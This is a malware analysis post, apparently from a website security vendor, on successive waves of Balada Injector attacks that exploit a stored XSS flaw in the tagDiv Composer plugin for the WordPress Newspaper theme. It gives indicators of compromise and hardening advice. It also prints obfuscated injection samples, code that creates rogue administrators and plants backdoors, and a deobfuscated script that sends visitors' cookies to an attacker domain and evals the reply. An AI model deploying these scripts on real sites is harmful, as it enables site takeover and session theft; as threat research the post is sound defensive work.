In the middle of September 2023, vulnerability advisory resources disclosed the details of an Unauthenticated Stored XSS vulnerability in the tagDiv Composer (the companion plugin for the popular tagDiv premium themes Newspaper and Newsmag). Shortly after that, we started noticing new waves of Balada malware injections on websites that were actively using tagDiv themes.
This is not the first time that the Balada Injector gang has targeted vulnerabilities in tagDiv’s premium themes. One of the earliest massive malware injections that we could attribute to this campaign took place during the summer of 2017, where disclosed security bugs in Newspaper and Newsmag WordPress themes were actively abused. At that time, tagDiv had already reported over 40,000 paying users (plus many more users of pirated themes). Now in 2023, tagDiv claims to have over 135,000 users of the popular premium Newspaper theme.
In this post, we’ll be examining the latest waves of this ongoing massive Balada Injector campaign. We will also delve into the technical details of the injected scripts found in each wave, exploring their functionality and the potential dangers they pose to site administrators. We’ll also discuss how the Balada Injector gang maintains control over compromised sites and their evolving tactics.
Contents:
A tell-tale sign of exploitation for this recently disclosed XSS vulnerability in the tagDiv Composer is a malicious script found injected inside of these tags:
<style id="tdw-css-placeholder"></style><script>...malicious injection…</script><style></style>
The obfuscated injection itself can be found in the “td_live_css_local_storage” option in the wp_options table of the WordPress database.
The first of these Newspaper theme-related Balada Injector waves planted the following script into the code of public WordPress pages.
<style id="tdw-css-placeholder"></style><script>var iz=String;eval(iz.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114, … skipped … ,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));</script><style></style>
A second variation of the same script began with:
<style id="tdw-css-placeholder"></style> <script id='first_time_ch'>var iz=String;var iz2=iz['fromCharCode'](118,97,114,32,...
Both obfuscated script injections load an external script from hxxps://stay.decentralappps[.]com/src/page.js At this point, the first variation of this injection is detected by PublicWWW on over 4,000 sites and the second variation on another 1,000+ sites.
The malicious stay.decentralappps[.]com domain was registered on 2023-09-03T21:39:36Z and is known to be used in the redirect chain of the previous (stratosbody[.]com) wave of Balada Injector.
In the logs of compromised sites we always find POST requests to /wp-json/tdw/save_css from IPs like 185.39.206.149, 91.191.151.43, 148.113.4.34, 92.205.27.126, etc. that use this fairly outdated User-Agent string:
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
As we previously wrote, this User-Agent is commonly used for Balada Injector along with some other massive website attacks.
The exploited vulnerability only allows attackers to inject malicious code into the “td_live_css_local_storage” option in WordPress database so that it propagates into every public page of the compromised website. While this is the ultimate goal of this campaign, the hackers are never satisfied with occasional injections — there is no guarantee that they will be able to keep exploiting the compromised sites once the original vulnerability is patched.
Balada Injector hackers always aim for persistent control over compromised sites by uploading backdoors, adding malicious plugins, and creating rogue blog administrators. In this case, the vulnerability doesn’t allow them to easily achieve this goal. However, this never stopped Balada from trying to completely take over the sites with stored XSS vulnerabilities.
Balada is long known for injecting malicious scripts that target logged-in site administrators. The idea is when a blog administrator logs into a website, their browser contains cookies that allow them to do all their administrative tasks without having to authenticate themselves on every new page. So, if their browser loads a script that tries to emulate administrator activity, it will be able to do almost anything that can be done via the WordPress admin interface.
Historically, Balada used this approach to create rogue WordPress admin users. This latest wave is no different. However, this time we’ve observed a rapid evolution of the scripts that targeted WordPress admins.
The first iteration of the stay.decentralappps[.]com/src/page.js script created a malicious user with user_login=greeceman and user_email=[email protected]. This was originally documented on the GeoEdge blog.
This greeceman username was the same for every compromised domain, so you can easily find many websites containing this malicious admin using the following Google query: [greeceman inurl:author]. A quick analysis of the search results show that the sites do use the Newspaper theme and many of them are still infected with the Balada malware.
A few days later, however, the page.js script changed. And this time, the rogue admin username and email were autogenerated to make them more unique (likely an evasive maneuver).
Here’s the related code from the deobfuscated malware:
var uu=window.location.hostname.replace("www.","").replace(".","u").substring(0,4)+"mann"; … var nonce = nonceMatch[1]; var pp=makeid(12)+"@";var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login="+uu+"&email="+uu+"@mail.com&pass1="+pp+"&pass2="+pp+"&role=administrator";
As you can see, there is still a pattern in the generated usernames and emails. They are constructed by appending the first 4 characters of the infected site’s hostname (without the “www.” part and with all periods replaced with character “u”) to the word “mann”, the user email is the same username @mail.com.
Let’s illustrate this a bit with the following three examples:
In all cases, the passwords of these malicious admins are randomly generated for each site so they can’t be easily abused by anyone else except for the Balada Injector operators. Attackers obtain the passwords via an Ajax POST request to stock.decentralappps[.]com/dest.php?z=z that the malicious script executes after successful user creation.
Along with the admin password, this post request sends the host name of the infected site so that attackers can compile a dataset of compromised domains and credentials of newly created malicious admin users. This dataset is then used for the automatic reinfection of websites or for planting backdoors there.
Shortly after the new “xxxxmann” variation, the stay.decentralappps[.]com/src/page.js script changed again. It was repurposed to plant a backdoor in the Newspaper theme’s 404.php file.
Here you can see a snippet of the decoded script that demonstrates how it uses the WordPress’ own theme editor and specifically targets the Newspaper theme (not just any currently installed theme).
/wp-admin/theme-editor.php?file=404.php&theme=Newspaper … &action=edit-theme-plugin-file&file=404.php&theme=Newspaper
This makes sense, since the attackers know that the stay.decentralappps[.]com/src/page.js script is only injected into websites with the Newspaper theme.
Here is an example of what the infected 404.php file may look like on a compromised website:
And here is the decoded backdoor code from 404.php:
This backdoor saves the malicious PHP code provided in the “ii” POST parameter into an “i” file in the server’s temporary directory, then executes it by including it to the backdoor code. The temporary “i” file is then immediately deleted after execution to hide the traces.
Hackers don’t have to directly access the theme’s 404.php file to use the backdoor (which may trigger firewall rules). Instead, they can simply send a POST request to an arbitrary non-existent URL. So, any POST request with the 404 response code that you see in access logs may potentially be a sign of successful backdoor execution.
Once a backdoor is successfully planted into the 404.php file, notifications are reported back to the Balada Injector operators via a call to stock.decentralappps[.]com/dest.php?d1=<window.location.hostname> to inform them that a backdoor on that specific site is ready to use.
A few days later, around September 17th-18th, 2023, the stay.decentralappps[.]com/src/page.js script still contained the code to inject the backdoor into the 404.php file, but it was no longer executable.
The return; call was placed just before it like so:
… eval(/*2*/l2);return;eval(_0x2fef6b);...
And instead of the _0x2fef6b branch (responsible for 404.php infection), a new l2 branch was executed. This l2 branch was responsible for installation of the malicious wp-zexit plugin.
This is one of the most complex types of attacks performed by the stay.decentralappps[.]com/src/page.js script. To mimic all the required steps for WordPress administrators to install a plugin from a .zip file and activate it, the code executes 8 different Ajax requests while a real logged-in site administrator browses their website.
The sequence of requests begins with /wp-admin/plugin-install.php to mimic opening the plugin installation page and ends with stock.decentralappps[.]com/best.php?d3=<window.location.origin> to report a successful installation to the C2 server.
To upload a zip file from a remote server instead of the local computer, this code uses the FileReader API, where it sends the response from the attacker-controlled URL hxxps://stock.decentralappps[.]com/best.php?f=f as the contents of an uploaded file.
To avoid multiple installations of the same wp-zexit plugin, the malicious code checks if the site already has this plugin installed. Indeed, when you check logs of the infected websites, you see multiple calls to the wp-admin/plugin-install.php page when a site admin browses website pages — but only the first call proceeds to actually install the plugin.
A successful plugin installation request can be identified in the logs if you search for “/wp-admin/plugins.php?action=activate&plugin=wp-zexit%2Fwp-zexit.php&plugin_status=all”.
Once the malicious plugin is successfully installed, you will find the following code in the /wp-content/plugins/wp-zexit/wp-zexit.php file:
This plugin has two functions that report its presence via the WordPress Ajax interface (/wp-admin/admin-ajax.php). The zexit_adm command can also be used to verify that the current user can “manage options” — it’s an alternative way to tell attackers that an admin is executing the script. The response to this command is checked by the following malicious code to prevent recurring installations of the same plugin:
The main functionality of the plugin can be found in the zexit_init() function. It is the same backdoor that we’ve already seen in the infected 404.php file.
To hide the presence of this plugin in the WordPress admin interface, this code adds a handler for the pre_current_active_plugins action that removes wp-zexit from the list of visible plugins. We regularly find similar code in many fake plugins installed by Balada Injector and some other malware campaigns.
On September 21, 2023, the Balada Injector operators had registered three new domains within a period of 7 seconds:
A few hours later, they started another round of malware injections using the same tagDiv Composer vulnerability in the Newspaper theme.
But this time, attackers decided to randomize every aspect of the attack, from the injected scripts to malicious URLs and the code that they loaded.
The location of the injections was unchanged in wave 5 — the malware was still injected inside these tags:
<style id="tdw-css-placeholder"></style><script>...malicious injection…</script><style></style>
And it could still be found in the td_live_css_local_storage option in the WordPress database. However, the actual injected code now varied for every infected site.
An example of injected code from a compromised environment looks like this:
The tell-tale Balada char code obfuscation is broken down by multiple random comments. These comments, along with the names of variables, are now unique and randomly generated for every site.
This particular type of injection is currently detected by PublicWWW on 484 sites.
In addition to the randomized code injections, decoded scripts now try to load the subsequent malware from different URLs on multiple different subdomains of the three new Balada domains.
For example:
The scripts loaded from these URLs look different from previous waves — and can sometimes be found swapped out for different scripts on the following day.
In most cases, we find large obfuscated scripts (sometimes up to several hundred kilobytes long). After deobfuscation, they all contain the same (pretty short) familiar code that attacks administrators of the infected websites and tries to install the malicious wp-zexit plugin.
The next wave of Balada injections began on September 29, 2023. It involves several different scripts that load malware from the subdomains of promsmotion[.]com. In this latest wave, we mainly see three distinct types of injections leveraging different types of obfuscation techniques.
The first script injection is the typical Balada Injector char code obfuscation seen throughout recent years. At the time of writing, it is currently detected on 92 sites.
var en3=/*1*/String['from'+'Char'+'Code'](/*2*/102,117,110,99,116,105,111,110,32,99,99,99,99,40,115,114,99,41,10,123,10…skipped…,10,125);/*_0x1bf7*/eval(en3);
This injection can be normally found at the top of .js files like:
The second type of injection can be found in similar locations, but it is slightly larger (about 8 Kbytes) and uses the Obfuscator.io style of obfuscation. This injection is detected on 76 sites.
function _0x5345(){var _0x18bdde=['select_trace','currentScript','204534XMqqPb','head','928NMwdhD', …skipped… return Boolean(document[_0x4c793f(0x180)]('script[id="select_trace"]'));}var script=document[_0x4145f8(0x17a)]('script'),co=atob(_0x4145f8(0x176));script['innerHTML']=co,script['id']=_0x4145f8(0x185);cccc()==![]&&(document[_0x4145f8(0x186)]?document[_0x4145f8(0x186)][_0x4145f8(0x183)][_0x4145f8(0x17f)](script,document[_0x4145f8(0x186)]):document['getElementsByTagName'](_0x4145f8(0x188))[0x0]['appendChild'](script));/*_0x1bf7*/
The third type of injection is also based on the Obfuscator.io library but it is significantly larger than the former two – almost 80 Kbytes long. It can be found at the very top of WordPress pages and 404 error responses. PublicWWW detects this variant on 67 sites.
<script type='text/javascript'>(function(_0x1c6f70,_0x55c073){function _0x2654e0(_0x1eba9b,_0x2d3d60,_0x1d9239,_0x3f6f52,_0x4187cd) …skipped 70+ Kbytes of code … (script,document[_0x118979('kWNk',0x9ce,0x776,0x8d3,0x9ae)+_0x16c6a7(0x244,0x1a3,0x11a,'t!U^',-0x7f)+_0x3bc47c(0x46f,0x38d,0x4ce,'oso8',0x6cf)]));</script><!doctype html >
Despite the differences in obfuscation techniques and the script lengths, the deobfuscated code for all three of these injections is very short and pretty much the same:
var requestURL = "hxxps://get.promsmotion[.]com/fill"; var pars="d="+window.location.hostname+"&c="+btoa(encodeURIComponent(document.cookie)); ajaxRequest = new XMLHttpRequest(); ajaxRequest.open("POST", requestURL, false); ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajaxRequest.send(pars); if(ajaxRequest.responseText.indexOf("ytruytityieter-") !== -1){ const myArray = ajaxRequest.responseText.split("ytruytityieter-"); var io = myArray[1]; eval(io); }
The main variation in the code is the requestURL. It can be either hxxps://net.promsmotion[.]com/set or hxxps://get.promsmotion[.]com/fill.
This script sends the visitor’s cookies to that URL and, if the cookie values satisfy certain conditions, expects some executable JavaScript code in the response.
All three types of the promsmotion injections can be mainly found on sites with the Newspaper theme, usually alongside other Balada malware that we’ve described in this article. Their placement in files of the compromised sites clearly show that this time instead of using the tagDiv Composer vulnerability, attackers leveraged their backdoors and malicious admin users that had been planted after successful attacks against website admins.
At the current time of writing, Sucuri’s SiteCheck scanner detects the promsmotion injections on a total of 560 sites.
Here are the main Balada Injector domains and IP addresses observed during the month of September, 2023 — some of which were also used in attacks not directly related to the Newspaper theme.
Balada Injector Domains:
For a short period of time, Balada Injector was hiding some of their servers behind a CloudFlare firewall, but their domains didn’t last long there. They inevitably had to return back to pointing domains back directly to their own servers.
Balada Injector Server IPs:
September, 2023 was one of the busiest months for Balada Injector malware. Our SiteCheck remote website scanner detected various types of Balada Injector on over 17,000 websites — almost twice the number of detections in the previous month of August. Over 9,000 of these detections were related to the Newspaper theme vulnerability.
We observed a rapid cycle of modifications to their injected scripts alongside new techniques and approaches. We saw randomized injections and obfuscation types, simultaneous use of multiple domains and subdomains, abuse of CloudFlare, and multiple approaches to attack administrators of infected WordPress sites.
September was also a very challenging month for thousands of users of the tagDiv Newspaper theme. The Balada Injector malware campaign performed a series of attacks targeting both the vulnerability in the tagDiv Composer plugin and blog administrators of already infected sites.
Our advice to users of the Newspaper theme is to follow these steps:
Now after reading how website malware may target WordPress admins to escalate some minor injection into the whole site take over, let’s revisit some security practices specifically for WordPress administrators.
define('DISALLOW_FILE_EDIT', true);
This other wp-config.php option may also help prevent both using file editors and theme/plugin installers and stop unwanted plugin installations via malicious scripts:
define( 'DISALLOW_FILE_MODS', true);
However, this last step will also block theme/plugin update functionality — so use it only temporarily when you absolutely need to.
Remember, website security is a complex of different ongoing measures and simply following the above instructions cannot not guarantee absolute security of your website.
If you believe your website has been infected with Balada Injector malware or you believe that you have unwanted script injections in WordPress, we can help address the issue. Our experienced malware analysts are available 24/7 to help you quickly clean up an infected website.